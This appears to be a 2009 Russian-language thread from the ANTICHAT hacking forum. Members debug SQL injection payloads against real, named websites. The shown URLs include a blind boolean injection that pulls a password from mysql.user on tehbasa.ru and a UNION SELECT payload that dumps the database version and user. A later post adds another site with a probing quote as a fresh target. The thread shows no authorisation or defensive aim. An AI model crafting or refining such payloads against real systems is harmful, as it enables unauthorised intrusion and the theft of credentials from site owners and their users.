HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 30.01.2009, 20:09
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

даже не глядя - +limit+1 = бред. Как минимум limit+0,1

и что такое "%3C="???

просто "=" уже не модно?
 
Ответить с цитированием

  #2  
Старый 30.01.2009, 20:15
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами: 9227224

Репутация: 60
По умолчанию

%3C=
Это <=

Причем тут модно не модно!я проверяю существует ли вообще
 
Ответить с цитированием

  #3  
Старый 30.01.2009, 20:20
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами: 9227224

Репутация: 60
По умолчанию

Цитата:
http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+ password+from+mysql.user+where+user=char(116,101,1 04,98,97,115,97,95,97,115,105,100,64,55,57,46,49,5 5,52,46,55,51,46,55,50)+limit+1,1)))%3C=122
если ты убераешь 1,1 с чем тогда сравнивать?
 
Ответить с цитированием

  #4  
Старый 30.01.2009, 20:23
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

Перед select нехватает одной скобки..

А вообще, там нету mysql.user )

Последний раз редактировалось R1dex; 30.01.2009 в 20:32..
 
Ответить с цитированием

  #5  
Старый 30.01.2009, 20:33
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами: 10077446

Репутация: 3965


По умолчанию

А не проще
Цитата:
http://www.tehbasa.ru/index.php?idt=25+UNION+SELECT+CONCAT_WS(0x3a,Versi on(),Database(),User()),2,3,4,5,6,7/*
?
 
Ответить с цитированием

  #6  
Старый 30.01.2009, 20:34
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами: 9227224

Репутация: 60
По умолчанию

Цитата:
Сообщение от Dimi4  
А не проще

?
так я хочу вывести пароль!Название базы то есть,оно закодировано в чар
 
Ответить с цитированием

  #7  
Старый 30.01.2009, 20:35
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

Цитата:
Сообщение от Dimi4  
А не проще

?
Мне кажется, его интересовали именно подзапросы...
Хотя мб и нет..
 
Ответить с цитированием

  #8  
Старый 30.01.2009, 20:39
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами: 9227224

Репутация: 60
По умолчанию

Цитата:
Сообщение от R1dex  
Мне кажется, его интересовали именно подзапросы...
Хотя мб и нет..
угу для 4 ветки это полезно изучить!да и понадобится,когда вывод ошибок отключен!
 
Ответить с цитированием

  #9  
Старый 30.01.2009, 22:06
x311
Новичок
Регистрация: 23.01.2009
Сообщений: 4
С нами: 9104376

Репутация: -1
По умолчанию

http://trophymanager.com/klubhus.php?showclub=1'
нужна ренистпация, поля не смог подобрать .
 
Ответить с цитированием

  #10  
Старый 30.01.2009, 23:04
DimOnOID
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами: 10226672

Репутация: 441
По умолчанию

Цитата:
Сообщение от x311  
http://trophymanager.com/klubhus.php?showclub=1'
нужна ренистпация, поля не смог подобрать .
ну акк бы дал..нахер кому надо регатца там
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.